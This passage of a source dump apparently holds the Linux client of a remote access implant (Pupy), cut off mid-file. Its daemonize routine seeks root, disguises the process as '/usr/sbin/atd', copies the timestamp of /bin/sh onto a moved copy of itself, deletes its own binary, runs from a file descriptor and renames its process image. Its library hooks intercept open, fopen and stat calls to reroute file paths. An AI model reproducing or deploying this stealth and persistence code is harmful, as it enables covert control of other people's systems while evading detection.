#define	__S_IWRITE	0200	/* Write by owner.  */
#define	__S_IEXEC	0100	/* Execute by owner.  */


================================================
FILE: client/sources-linux-py3/compat/ifaddrs.h
================================================
#define _GNU_SOURCE
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netinet/in.h>
#include <dlfcn.h>

struct ifaddrs
{
  struct ifaddrs *ifa_next;	/* Pointer to the next structure.  */

  char *ifa_name;		/* Name of this network interface.  */
  unsigned int ifa_flags;	/* Flags as from SIOCGIFFLAGS ioctl.  */

  struct sockaddr *ifa_addr;	/* Network address of this interface.  */
  struct sockaddr *ifa_netmask; /* Netmask of this interface.  */
  union
  {
    /* At most one of the following two is valid.  If the IFF_BROADCAST
       bit is set in `ifa_flags', then `ifa_broadaddr' is valid.  If the
       IFF_POINTOPOINT bit is set, then `ifa_dstaddr' is valid.
       It is never the case that both these bits are set at once.  */
    struct sockaddr *ifu_broadaddr; /* Broadcast address of this interface. */
    struct sockaddr *ifu_dstaddr; /* Point-to-point destination address.  */
  } ifa_ifu;
  /* These very same macros are defined by <net/if.h> for `struct ifaddr'.
     So if they are defined already, the existing definitions will be fine.  */
# ifndef ifa_broadaddr
#  define ifa_broadaddr	ifa_ifu.ifu_broadaddr
# endif
# ifndef ifa_dstaddr
#  define ifa_dstaddr	ifa_ifu.ifu_dstaddr
# endif

  void *ifa_data;		/* Address-specific data (may be unused).  */
};


static int (*_getifaddrs) (struct ifaddrs **__ifap) = NULL;
static void (*_freeifaddrs) (struct ifaddrs *__ifa) = NULL;

static int getifaddrs (struct ifaddrs **__ifap) {
    if (_getifaddrs == -1) return -1;
    if (_getifaddrs == NULL) _getifaddrs = dlsym(RTLD_NEXT, "getifaddrs");
    if (_getifaddrs == NULL) {
        _getifaddrs = -1;
        return -1;
    }
    return _getifaddrs(__ifap);
}

static void freeifaddrs (struct ifaddrs *__ifa) {
    if (_freeifaddrs == -1) return -1;
    if (_freeifaddrs == NULL) _freeifaddrs = dlsym(RTLD_NEXT, "freeifaddrs");
    if (_freeifaddrs) _freeifaddrs(__ifa);
}


================================================
FILE: client/sources-linux-py3/compat/sched.h
================================================
/* Definitions for POSIX 1003.1b-1993 (aka POSIX.4) scheduling interface.
   Copyright (C) 1996-2016 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#ifndef	_SCHED_H
#define	_SCHED_H	1

#include <features.h>

/* Get type definitions.  */
#include <bits/types.h>

#define __need_size_t
#include <stddef.h>

#ifdef __USE_XOPEN2K
# define __need_time_t
# define __need_timespec
#endif
#include <time.h>

#ifndef __pid_t_defined
typedef __pid_t pid_t;
# define __pid_t_defined
#endif


/* Get system specific constant and data structure definitions.  */
#include <bits/sched.h>
/* Define the real names for the elements of `struct sched_param'.  */
#define sched_priority	__sched_priority


__BEGIN_DECLS

/* Set scheduling parameters for a process.  */
extern int sched_setparam (__pid_t __pid, const struct sched_param *__param)
     __THROW;

/* Retrieve scheduling parameters for a particular process.  */
extern int sched_getparam (__pid_t __pid, struct sched_param *__param) __THROW;

/* Set scheduling algorithm and/or parameters for a process.  */
extern int sched_setscheduler (__pid_t __pid, int __policy,
			       const struct sched_param *__param) __THROW;

/* Retrieve scheduling algorithm for a particular purpose.  */
extern int sched_getscheduler (__pid_t __pid) __THROW;

/* Yield the processor.  */
extern int sched_yield (void) __THROW;

/* Get maximum priority value for a scheduler.  */
extern int sched_get_priority_max (int __algorithm) __THROW;

/* Get minimum priority value for a scheduler.  */
extern int sched_get_priority_min (int __algorithm) __THROW;

/* Get the SCHED_RR interval for the named process.  */
extern int sched_rr_get_interval (__pid_t __pid, struct timespec *__t) __THROW;


#ifdef __USE_GNU
/* Access macros for `cpu_set'.  */
# define CPU_SETSIZE __CPU_SETSIZE
# define CPU_SET(cpu, cpusetp)	 __CPU_SET_S (cpu, sizeof (cpu_set_t), cpusetp)
# define CPU_CLR(cpu, cpusetp)	 __CPU_CLR_S (cpu, sizeof (cpu_set_t), cpusetp)
# define CPU_ISSET(cpu, cpusetp) __CPU_ISSET_S (cpu, sizeof (cpu_set_t), \
						cpusetp)
# define CPU_ZERO(cpusetp)	 __CPU_ZERO_S (sizeof (cpu_set_t), cpusetp)
# define CPU_COUNT(cpusetp)	 __CPU_COUNT_S (sizeof (cpu_set_t), cpusetp)

# define CPU_SET_S(cpu, setsize, cpusetp)   __CPU_SET_S (cpu, setsize, cpusetp)
# define CPU_CLR_S(cpu, setsize, cpusetp)   __CPU_CLR_S (cpu, setsize, cpusetp)
# define CPU_ISSET_S(cpu, setsize, cpusetp) __CPU_ISSET_S (cpu, setsize, \
							   cpusetp)
# define CPU_ZERO_S(setsize, cpusetp)	    __CPU_ZERO_S (setsize, cpusetp)
# define CPU_COUNT_S(setsize, cpusetp)	    __CPU_COUNT_S (setsize, cpusetp)

# define CPU_EQUAL(cpusetp1, cpusetp2) \
  __CPU_EQUAL_S (sizeof (cpu_set_t), cpusetp1, cpusetp2)
# define CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \
  __CPU_EQUAL_S (setsize, cpusetp1, cpusetp2)

# define CPU_AND(destset, srcset1, srcset2) \
  __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, &)
# define CPU_OR(destset, srcset1, srcset2) \
  __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, |)
# define CPU_XOR(destset, srcset1, srcset2) \
  __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, ^)
# define CPU_AND_S(setsize, destset, srcset1, srcset2) \
  __CPU_OP_S (setsize, destset, srcset1, srcset2, &)
# define CPU_OR_S(setsize, destset, srcset1, srcset2) \
  __CPU_OP_S (setsize, destset, srcset1, srcset2, |)
# define CPU_XOR_S(setsize, destset, srcset1, srcset2) \
  __CPU_OP_S (setsize, destset, srcset1, srcset2, ^)

# define CPU_ALLOC_SIZE(count) __CPU_ALLOC_SIZE (count)
# define CPU_ALLOC(count) __CPU_ALLOC (count)
# define CPU_FREE(cpuset) __CPU_FREE (cpuset)

#define __NR_sched_setaffinity		203
#define __NR_sched_getaffinity		204

#include <sys/syscall.h>
#include <limits.h>

#define MIN(a, b) (((a) < (b)) ? (a) : (b))

static inline
int sched_setaffinity (pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset)
{
    return syscall(__NR_sched_setaffinity, 3, pid, cpusetsize, cpuset);
}

static inline
int sched_getaffinity (pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset)
{
    int res = syscall(__NR_sched_getaffinity, pid, MIN(INT_MAX, cpusetsize), cpuset);
    if (res != -1) {
        memset ((char *) cpuset + res, '\0', cpusetsize - res);
        res = 0;
    }
    return res;
}

#endif

__END_DECLS

#endif /* sched.h */


================================================
FILE: client/sources-linux-py3/daemonize.c
================================================
#define _GNU_SOURCE

#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <limits.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <utime.h>
#include <sys/stat.h>
#include <string.h>
#include <errno.h>

#ifdef Linux
#include <linux/fs.h>
#include <sys/prctl.h>
#include "memfd.h"
#include "tmplibrary.h"
#endif

#ifndef DEFAULT_MTIME_FROM
#define DEFAULT_MTIME_FROM "/bin/sh"
#endif

#ifndef DEFAULT_ARGV0
#define DEFAULT_ARGV0 "/usr/sbin/atd"
#endif

#ifdef USE_ENV_ARGS
#ifndef DEFAULT_ENV_SA0
#define DEFAULT_ENV_SA0 "__SA0"
#endif

#ifndef DEFAULT_ENV_SCWD
#define DEFAULT_ENV_SCWD "__SCWD"
#endif

#ifndef DEFAULT_ENV_CLEANUP
#define DEFAULT_ENV_CLEANUP "__CLEANUP"
#endif

#ifndef DEFAULT_ENV_MOVE
#define DEFAULT_ENV_MOVE "__MOVE"
#endif

#endif

#ifndef DEFAULT_SAFE_PATH
#define DEFAULT_SAFE_PATH "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"
#endif

#ifndef __O_CLOEXEC
# define __O_CLOEXEC   02000000
#endif

#ifndef O_CLOEXEC
# define O_CLOEXEC  __O_CLOEXEC
#endif

#include "daemonize.h"

pid_t daemonize(int *main_argc, char ***main_argv, char *env[], bool exit_parent) {
    pid_t pid;
    int pipes[2];
    char *set_argv0 = NULL;

    int argc = *main_argc;
    char **argv = *main_argv;

#ifdef Linux
    setresuid(0, 0, 0);
#else
    setuid(0);
#endif

    bool triple_fork = true;

    /* If we are launched directly from the init - don't do the triple fork
       dance. This is important in case we are launched from upstart */

    if (getppid() == 1 || getenv("INVOCATION_ID") != NULL)
        triple_fork = false;

    /* Cleanup environment and reexec */
    char self[PATH_MAX] = {};
    char *fd_str = getenv("_");
    int fdenv = -1;

    if (fd_str) {
        char *end = NULL;
        errno = 0;
        fdenv = strtol(fd_str, &end, 10);
        if ((end == fd_str) || errno) {
            fdenv = -1;
        }
    }

    if (triple_fork && exit_parent && fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
#ifdef USE_ENV_ARGS
        set_argv0 = getenv(DEFAULT_ENV_SA0);
        char *set_cwd = getenv(DEFAULT_ENV_SCWD);
        char *cleanup = getenv(DEFAULT_ENV_CLEANUP);
        char *move = getenv(DEFAULT_ENV_MOVE);
        char *mtime_from = DEFAULT_MTIME_FROM;
#else
        char *set_cwd = NULL;
        char *move = NULL;
        char *mtime_from = DEFAULT_MTIME_FROM;

        bool cleanup = false;

        char c;

        while ((c = getopt (argc, argv, "0:t:c:m:C")) != -1)
            switch (c) {
            case '0': set_argv0 = optarg; break;
            case 't': mtime_from = optarg; break;
            case 'c': set_cwd = optarg; break;
            case 'm': move = optarg; break;
            case 'C': cleanup = true; break;
            };
#endif

        putenv("_=0");

        int fd = -1;

#ifdef Linux
        if (strstr(self, "/memfd")) {
            snprintf(self, sizeof(self), "/proc/%d/exe", getpid());
        }
#endif

        struct stat _stat = {};
        stat(mtime_from, &_stat);

        if (move) {
            fd = open(self, O_RDONLY);
            unlink(move);
            int fd2 = open(move, O_RDWR | O_CREAT, 0700);
            if (fd2 == -1) {
                move = NULL;
            } else {
                for (;;) {
                    char buffer[4096] = {};
                    int r = read(fd, buffer, sizeof(buffer));
                    if (r <= 0) {
                        close(fd);
                        if (r == -1) {
                            unlink(move);
                            move = NULL;
                        } else {
                            unlink(self);
                            fchmod(fd2, 0511);
                            fchown(fd2, 0, 0);

                            if (_stat.st_mtime) {
                                struct utimbuf _times = {
                                    .actime = _stat.st_atime,
                                    .modtime = _stat.st_mtime,
                                };

                                utime(move, &_times);
                            }
                        }
                        close(fd2);
                        break;
                    }
                    int w = write(fd2, buffer, r);
                    if (w < 0) {
                        close(fd2);
                        close(fd);
                        unlink(move);
                        move = NULL;
                        break;
                    }
                }
            }
        }

        fd = open(move? move:self, O_CLOEXEC | O_RDONLY);
        if (fd == -1) {
            fd = open(move? move:self, O_RDONLY);
        }

        int envpipe[2] = {};

        if (fd != -1) {
            if (cleanup) {
                unlink(move? move:self);
            }

            int fake_argc = 2 + (argc - optind);
            char **fake_argv = malloc(fake_argc * sizeof(char *));
            fake_argv[0] = set_argv0? set_argv0 : DEFAULT_ARGV0;
            fake_argv[fake_argc] = NULL;

            for (int i=optind,idx=1; i<argc; i++, idx++) {
                fake_argv[idx] = argv[i];
            }

            char fdenv_pass[PATH_MAX] = {};
            int r = pipe(envpipe);

            snprintf(fdenv_pass, sizeof(fdenv_pass), "_=%d", r? 0: envpipe[0]);

            char *const env[] = {
                r == 0? fdenv_pass : NULL,
                NULL
            };

            chdir(set_cwd? set_cwd : "/");

            pid_t next = fork();
            if (next == 0 || next == -1) {
                if (r == 0)
                    close(envpipe[1]);

#ifdef Linux
                fexecve(fd, fake_argv, env);
                /* We shouldn't be here */
#endif
                execve(move? move:self, fake_argv, env);
            }

            if (r == 0)
                close(envpipe[0]);
        }
        close(fd);

        int idx = 0;
        for (idx=0;env[idx];idx++) {
            unsigned int size = strlen(env[idx]);
            int r = write(envpipe[1], &size, 4);
            if (r != 4) {
                break;
            }
            r = write(envpipe[1], env[idx], size);
            if (r != size) {
                break;
            }
        }

        // Pass original ARGC/ARGV
        int end_of_env = 0xAAAAAAAA;
        write(envpipe[1], &end_of_env, 4);
        write(envpipe[1], &argc, 4);

        for (idx=0; idx<argc; idx++) {
            unsigned int size = strlen(argv[idx]);
            int r = write(envpipe[1], &size, 4);
            if (r != 4) {
                break;
            }

            r = write(envpipe[1], argv[idx], size);
            if (r != size) {
                break;
            }
        }

        close(envpipe[1]);
        exit(0);
    }

    if (fdenv > 0) {
        int end_of_args_found = 0;

        for (;;) {
            unsigned int size = 0;
            int r = read(fdenv, &size, 4);
            if (r != 4) {
                break;
            }

            if (size == 0xAAAAAAAA) {
                end_of_args_found = 1;
                break;
            }

            char envstr[PATH_MAX] = {};
            if (size > PATH_MAX-1) {
                break;
            }

            r = read(fdenv, envstr, size);
            if (!r || r != size) {
                break;
            }

            envstr[size] = '\0';
            r = putenv(strdup(envstr));
        }

        if (end_of_args_found) {
            int new_argc = 0;
            char **new_argv = 0;
            int argc_ok = 0;
            int r = read(fdenv, &new_argc, 4);
            if (r == 4 && new_argc > 0 && new_argc < 256) {
                int idx;
                argc_ok = 1;
                new_argv = (char **) malloc(sizeof(char *) * (new_argc + 1));
                for (idx=0; idx<new_argc; idx++) {
                     int size = 0;
                     r = read(fdenv, &size, 4);
                     if (r != 4) {
                         argc_ok = 0;
                         break;
                     }
                     new_argv[idx] = (char *) malloc(size+1);
                     if (new_argv[idx] == NULL) {
                         argc_ok = 0;
                         break;
                     }
                     r = read(fdenv, new_argv[idx], size);
                     if (r != size) {
                         argc_ok = 0;
                         break;
                     }
                     new_argv[idx][size] = '\0';
                }

                new_argv[idx] = NULL;
            }

            if (argc_ok) {
                *main_argc = new_argc;
                *main_argv = new_argv;
            }
        }

        close(fdenv);
    }

    /* Daemonize */
    if (!exit_parent) {
        if (pipe(pipes) == -1) {
            return -1;
        }
    }

    /* create new process */
    pid = fork();
    if (pid == -1)
        return -1;

    else if (pid != 0) {
        if (exit_parent) {
            exit (EXIT_SUCCESS);
        } else {
            int status;
            waitpid(pid, &status, 0);
            if (read(pipes[0], &pid, sizeof(pid)) != sizeof(pid))
                pid = -1;

            return pid;
        }
    }

    if (triple_fork) {
        /* Fork once again */
        pid = fork();
        if (pid == -1) {
            if (!exit_parent) {
                close(pipes[1]);
            }

            return -1;
        }

        else if (pid != 0) {
            exit (EXIT_SUCCESS);
        }
    }

    setenv("_", argv[0], 1);

    if (!exit_parent) {
        pid_t current_pid = getpid();
        write(pipes[1], &current_pid, sizeof(current_pid));
        close(pipes[1]);
    }

    /* create new session and process group */
    if (setsid ( ) == -1)
        return -1;

#ifndef DEBUG
    /* close all open files--NR_OPEN is overkill, but works */
    int i;

    for (i = 0; i < sysconf(_SC_OPEN_MAX); i++)
        close (i);

    /* redirect fd's 0,1,2 to /dev/null */
    open ("/dev/null", O_RDWR);
    /* stdin */
    dup (0);
    /* stdout */
    dup (0);
    /* stderror */

#ifdef Linux
    prctl(4, 0, 0, 0, 0);
    prctl(31, 0, 0, 0, 0);

    int exe_fd = open(argv[0], O_RDONLY);
    if (exe_fd != -1) {
        remap("/proc/self/exe");
        prctl(35, 13, exe_fd, 0, 0);
        close(exe_fd);
    }
#endif
#endif

    /* do its daemon thing... */
    return 0;
}


================================================
FILE: client/sources-linux-py3/daemonize.h
================================================
#ifndef DAEMONIZE_H
#define DAEMONIZE_H

#include <unistd.h>
#include <stdbool.h>
#include <sys/types.h>

pid_t daemonize(int *argc, char **argv[], char *env[], bool exit_parent);

#endif /* DAEMONIZE_H */


================================================
FILE: client/sources-linux-py3/decompress.c
================================================
#include <zlib.h>
#include "decompress.h"

/* Zpipe code */

#define CHUNK 8196

int decompress(int fd, const char *buf, size_t size) {
    int ret;
    unsigned have;
    z_stream strm;
    unsigned char out[CHUNK];

    /* allocate inflate state */
    strm.zalloc = Z_NULL;
    strm.zfree = Z_NULL;
    strm.opaque = Z_NULL;
    strm.avail_in = 0;
    strm.next_in = Z_NULL;
    ret = inflateInit2(&strm, 15+32);

    if (ret != Z_OK)
        return ret;

    /* decompress until deflate stream ends or end of file */
    do {
        strm.avail_in = size < CHUNK? size : CHUNK;
        if (strm.avail_in == 0)
            break;

        strm.next_in = (unsigned char *) buf;

        buf += strm.avail_in;
        size -= strm.avail_in;

        do {
            strm.avail_out = CHUNK;
            strm.next_out = out;
            ret = inflate(&strm, Z_NO_FLUSH);
            switch (ret) {
            case Z_NEED_DICT:
                ret = Z_DATA_ERROR;     /* and fall through */
            case Z_DATA_ERROR:
            case Z_MEM_ERROR:
                (void)inflateEnd(&strm);
                return ret;
            }
            have = CHUNK - strm.avail_out;
            unsigned char *ptr = out;
            while (have) {
                int n = write(fd, ptr, have);
                if (n == -1) {
                    (void)inflateEnd(&strm);
                    return Z_ERRNO;
                }
                have -= n;
                ptr += n;
            }

        } while (strm.avail_out == 0);

        /* done when inflate() says it's done */
    } while (ret != Z_STREAM_END);

    /* clean up and return */
    (void)inflateEnd(&strm);
    return ret == Z_STREAM_END ? Z_OK : Z_DATA_ERROR;
}


================================================
FILE: client/sources-linux-py3/decompress.h
================================================
#ifndef DECOMPRESS_H
#define DECOMPRESS_H

int decompress(int fd, const char *buf, size_t size);

#endif /* DECOMPRESS_H */


================================================
FILE: client/sources-linux-py3/docker/pyenv-setup-build.patch
================================================
--- Modules/Setup	2023-08-25 15:57:16.039376911 +0000
+++ Modules/Setup.new	2023-08-25 15:59:07.427185196 +0000
@@ -107,7 +107,6 @@
 					# if $HOME is not set
 _sre -DPy_BUILD_CORE_BUILTIN _sre.c	# Fredrik Lundh's new regular expressions
 _codecs _codecsmodule.c			# access to the builtin codecs and codec registry
-_weakref _weakref.c			# weak references
 _functools -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _functoolsmodule.c   # Tools for working with functions and callable objects
 _operator -DPy_BUILD_CORE_BUILTIN _operator.c	        	# operator.add() and similar goodies
 _collections _collectionsmodule.c	# Container types
@@ -118,6 +117,24 @@
 _stat _stat.c				# stat.h interface
 time -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal timemodule.c	# -lm # time operations and variables
 _thread -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _threadmodule.c	# low-level threading interface
+_struct -DPy_BUILD_CORE_BUILTIN _struct.c	# binary structure packing/unpacking
+_pickle -DPy_BUILD_CORE_BUILTIN _pickle.c	# pickle accelerator
+_random _randommodule.c -DPy_BUILD_CORE_BUILTIN	# Random number generator
+math mathmodule.c _math.c -DPy_BUILD_CORE_BUILTIN # -lm # math library functions, e.g. sin()
+zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz -DPy_BUILD_CORE_BUILTIN
+_sha1 sha1module.c -DPy_BUILD_CORE_BUILTIN
+_sha256 sha256module.c -DPy_BUILD_CORE_BUILTIN
+_sha512 sha512module.c -DPy_BUILD_CORE_BUILTIN
+_md5 md5module.c -DPy_BUILD_CORE_BUILTIN
+_posixsubprocess _posixsubprocess.c -DPy_BUILD_CORE_BUILTIN # POSIX subprocess module helper
+unicodedata unicodedata.c -DPy_BUILD_CORE_BUILTIN   # static Unicode character database
+_socket socketmodule.c -DPy_BUILD_CORE_BUILTIN 
+select selectmodule.c -DPy_BUILD_CORE_BUILTIN 
+mmap mmapmodule.c -DPy_BUILD_CORE_BUILTIN 
+_weakref _weakref.c  -DPy_BUILD_CORE_BUILTIN 
+binascii binascii.c  -DPy_BUILD_CORE_BUILTIN 
+fcntl fcntlmodule.c  -DPy_BUILD_CORE_BUILTIN 
+array arraymodule.c -DPy_BUILD_CORE_BUILTIN 
 
 # access to ISO C locale support
 _locale -DPy_BUILD_CORE_BUILTIN _localemodule.c  # -lintl


================================================
FILE: client/sources-linux-py3/fixes.c
================================================
#include <limits.h>
#include <stdlib.h>
#include <string.h>
#include "memfd.h"

char *__real_realpath(const char *path, char *resolved_path);

char *__wrap_realpath(const char *path, char *resolved_path) {
        if (is_memfd_path(path)) {
                memcpy(resolved_path, path, strlen(path) + 1);
                return resolved_path;
        }

        return __real_realpath(path, resolved_path);
}


================================================
FILE: client/sources-linux-py3/fixes.h
================================================
#ifndef ___FIXES_H
#define ___FIXES_H

#include <linux/limits.h>
#include <string.h>
#include <sys/ptrace.h>

#ifndef PTRACE_GETSIGINFO
#define PTRACE_GETSIGINFO 0x4202
#endif

#ifndef EM_AARCH64
#define EM_AARCH64		183
#endif

#endif


================================================
FILE: client/sources-linux-py3/ld_hooks.c
================================================
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <stdarg.h>
#include <sys/types.h>
#include <errno.h>

#include "debug.h"
#include "ld_hooks.h"

#define export __attribute__((visibility("default")))

static int (*global_open)(const char *pathname, int flags, ...) = NULL;
static int (*global_open64)(const char *pathname, int flags, ...) = NULL;
static int (*global_openat)(int dirfd, const char *pathname, int flags, ...) = NULL;
static int (*global_openat64)(int dirfd, const char *pathname, int flags, ...) = NULL;
static FILE *(*global_fopen)(const char *pathname, const char *mode) = NULL;
static FILE *(*global_fopen64)(const char *pathname, const char *mode) = NULL;

static int (*global__lxstat)(int ver, const char * path, struct stat* stat_buf) = NULL;
static int (*global__xstat)(int ver, const char * path, struct stat * stat_buf) = NULL;
static int (*global__lxstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL;
static int (*global__xstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL;

static cb_hooks_t __pathmap_callback = NULL;

#ifndef O_TMPFILE
#define O_TMPFILE 020000000
#endif

#ifndef PATH_MAX
#define PATH_MAX 4096
#endif

#ifdef _LD_HOOKS_NAME
export
#endif
void set_pathmap_callback(cb_hooks_t cb)
{
    __pathmap_callback = cb;
    dprint("ldhooks:set_callback(%p)\n", __pathmap_callback);
}

#define define_mapped_path(mapped_path, path) \
    char buf[PATH_MAX] = {};                  \
    const char *mapped_path = __pathmap_callback? \
        __pathmap_callback(path, buf, sizeof(buf)) : path

export int __lxstat(int ver, const char * path, struct stat* stat_buf)
{
    define_mapped_path(mapped_path, path);

    dprint("ldhooks:__lxstat(%d, %s (%s), %p) @ %p\n", ver, path, mapped_path,
        stat_buf, __pathmap_callback);

    if (!global__lxstat || !mapped_path) {
        errno = ENOENT;
        return -1;
    }

    return global__lxstat(ver, mapped_path, stat_buf);
}

export int __lxstat64(int ver, const char * path, struct stat64* stat_buf)
{
    define_mapped_path(mapped_path, path);

    dprint("ldhooks:__lxstat64(%d, %s (%s), %p) @ $p\n", ver, path,
        mapped_path, stat_buf, __pathmap_callback);
    if (!global__lxstat || !mapped_path) {
        errno = ENOENT;
        return -1;
    }

    return global__lxstat64(ver, mapped_path, stat_buf);
}

export int __xstat(int ver, const char * path, struct stat* stat_buf)
{
    define_mapped_path(mapped_path, path);

    dprint("ldhooks:__xstat(%d, %s (%s), %p)\n", ver, path, mapped_path, stat_buf);
    if (!global__xstat || !mapped_path) {
        errno = ENOENT;
        return -1;
    }

    return global__xstat(ver, mapped_path, stat_buf);
}

export int __xstat64(int ver, const char * path, struct stat64* stat_buf)
{
    define_mapped_path(mapped_path, path);

    dprint("ldhooks:__xstat64(%d, %s (%s), %p)\n", ver, path, mapped_path, stat_buf);
    if (!global__xstat) {
        errno = ENOENT;
        return -1;
    }

    return global__xstat64(ver, mapped_path, stat_buf);
}

export int open(const char *pathname, int flags, ...)
{
    int ret = -1;
    va_list args;
    va_start(args, flags);
    define_mapped_path(mapped_path, pathname);

    dprint("ldhooks:open(%s (%s), %08x)\n", pathname, mapped_path, flags);

    if (!global_open || !mapped_path) {
        errno = ENOENT;
    } else {
        if (flags & (O_CREAT | O_TMPFILE)) {
            mode_t mode = va_arg(args, mode_t);
            ret = global_open(mapped_path, flags, mode);
        } else {
            ret = global_open(mapped_path, flags);
        }
    }

    va_end(args);
    return ret;
}

export int open64(const char *pathname, int flags, ...)
{
    int ret = -1;
    va_list args;
    va_start(args, flags);
    define_mapped_path(mapped_path, pathname);

    dprint("ldhooks:open64(%s (%s), %08x)\n", pathname, mapped_path, flags);

    if (!global_open64 || !mapped_path) {
        errno = ENOENT;
    } else {
        if (flags & (O_CREAT | O_TMPFILE)) {
            mode_t mode = va_arg(args, mode_t);
            ret = global_open64(mapped_path, flags, mode);
        } else {
            ret = global_open64(mapped_path, flags);
        }
    }

    va_end(args);
    return ret;
}

export int openat(int dirfd, const char *pathname, int flags, ...)
{
    int ret = -1;
    va_list args;
    va_start(args, flags);
    define_mapped_path(mapped_path, pathname);

    dprint("ldhooks:openat(%d, %s (%s), %08x)\n", dirfd, mapped_path, pathname, flags);

    if (!global_openat || !mapped_path) {
        errno = ENOENT;
    } else {
        if (flags & (O_CREAT | O_TMPFILE)) {
            mode_t mode = va_arg(args, mode_t);
            ret = global_openat(dirfd, mapped_path, flags, mode);
        } else {
            ret = global_openat(dirfd, mapped_path, flags);
        }
    }

    va_end(args);
    return ret;
}

export int openat64(int dirfd, const char *pathname, int flags, ...)
{
    int ret = -1;
    va_list args;
    va_start(args, flags);
    define_mapped_path(mapped_path, pathname);

    dprint("ldhooks:openat64(%d, %s (%s), %08x)\n", dirfd, pathname, mapped_path, flags);

    if (!global_openat64 || !mapped_path) {
        errno = ENOENT;
    } else {
        if (flags & (O_CREAT | O_TMPFILE)) {
            mode_t mode = va_arg(args, mode_t);
            ret = global_openat64(dirfd, mapped_path, flags, mode);
        } else {
            ret = global_openat64(dirfd, mapped_path, flags);
        }
    }

    va_end(args);
    return ret;
}

export FILE *fopen(const char *pathname, const char *mode)
{
    define_mapped_path(mapped_path, pathname);

    dprint("ldhooks:fopen(%s (%s), %s)\n", pathname, mapped_path, mode);

    if (!global_fopen || !mapped_path) {
        errno = ENOENT;
        return NULL;
    }

    return global_fopen(mapped_path, mode);
}

export FILE *fopen64(const char *pathname, const char *mode)
{
    define_mapped_path(mapped_path, pathname);
    dprint("ldhooks:fopen64(%s (%s), %s) @ %p\n", pathname,
        mapped_path, mode, __pathmap_callback);

    if (!global_fopen64 || !mapped_path) {
        errno = ENOENT;
        return NULL;
    }

    return global_fopen64(mapped_path, mode);
}

#ifdef _LD_HOOKS_NAME
static
#endif
void _ld_hooks_main(int argc, char *argv[], char *envp[])
{
    dprint("ldhooks: initialize targets\n");

    global_fopen = dlsym(RTLD_NEXT, "fopen");
    global_fopen64 = dlsym(RTLD_NEXT, "fopen64");
    global_open = dlsym(RTLD_NEXT, "open");
    global_open64 = dlsym(RTLD_NEXT, "open64");
    global_openat = dlsym(RTLD_NEXT, "openat");
    global_openat64 = dlsym(RTLD_NEXT, "openat64");
    global__lxstat64 = dlsym(RTLD_NEXT, "__lxstat64");
    global__lxstat = dlsym(RTLD_NEXT, "__lxstat");
    global__xstat64 = dlsym(RTLD_NEXT, "__xstat64");
    global__xstat = dlsym(RTLD_NEXT, "__xstat");
}

#ifdef _LD_HOOKS_NAME
__attribute__((section(".init_array"))) void (*ld_hooks_main)(int, char *[], char *[]) = _ld_hooks_main;
#endif


================================================
FILE: client/sources-linux-py3/ld_hooks.h
================================================
#ifndef LD_HOOKS_H
#define LD_HOOKS_H

#include <sys/types.h>

typedef const char * (*cb_hooks_t)(const char *path, char *buf, size_t buf_size);
void set_pathmap_callback(cb_hooks_t cb);

#ifndef _LD_HOOKS_NAME
void _ld_hooks_main(int argc, char *argv[], char *envp[]);
#endif

#endif


================================================
FILE: client/sources-linux-py3/main_exe.c
================================================
#include <sys/types.h>
#include <unistd.h>

#include "pupy_load.h"
#include "daemonize.h"

#ifdef Linux
#include <mcheck.h>
#endif

int main(int argc, char *argv[], char *env[]) {
#ifndef DEBUG
    daemonize(&argc, &argv, env, true);
#else
#ifdef Linux
    mtrace();
#endif
#endif
    return mainThread(argc, argv, false);
}

void setup_jvm_class(void) {}


================================================
FILE: client/sources-linux-py3/main_so.c
================================================
#define _GNU_SOURCE
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>

#include <dlfcn.h>

#include "pupy_load.h"
#include "tmplibrary.h"
#include "debug.h"

#include "Python-dynload.h"
#include "jni_on_load.c"

static pthread_t thread_id;

static int __argc = 0;
static char ** __argv = NULL;
static int __to_wait = 0;
static int __unmapped = -1;

static void *
thread_start(void *arg) {
    /*
     * We start from unstable state, no way to know
     * when libraries were fully loaded. While horribly racy,
     * sleep is better then nothing.
     */

    dprint("Launch dedicated thread\n");

    sleep(1);

#if defined(Linux) && defined(WIP_LMID)
    /*
     * Remap may be possible only after library load,
     */

    if (__unmapped != 0) {
        dprint("Try to remap again\n");

        struct link_map *link_map = NULL;
        void *self = dlopen(0, RTLD_LAZY);
        dprint("SELF: %p\n", self);

        if (self && dlinfo(self, RTLD_DI_LINKMAP, &link_map) == 0) {
            dprint("Library path: '%s'\n", link_map->l_name);
            if (link_map->l_name) {
                __unmapped = remap(link_map->l_name);
            }
        }
    }
#endif

    dprint("Starting main payload\n");
    mainThread(__argc, __argv, true);
    return NULL;
}

static void
unloader(void) {
    dprint("Wait until pupy thread exits\n");
    pthread_join(thread_id, NULL);
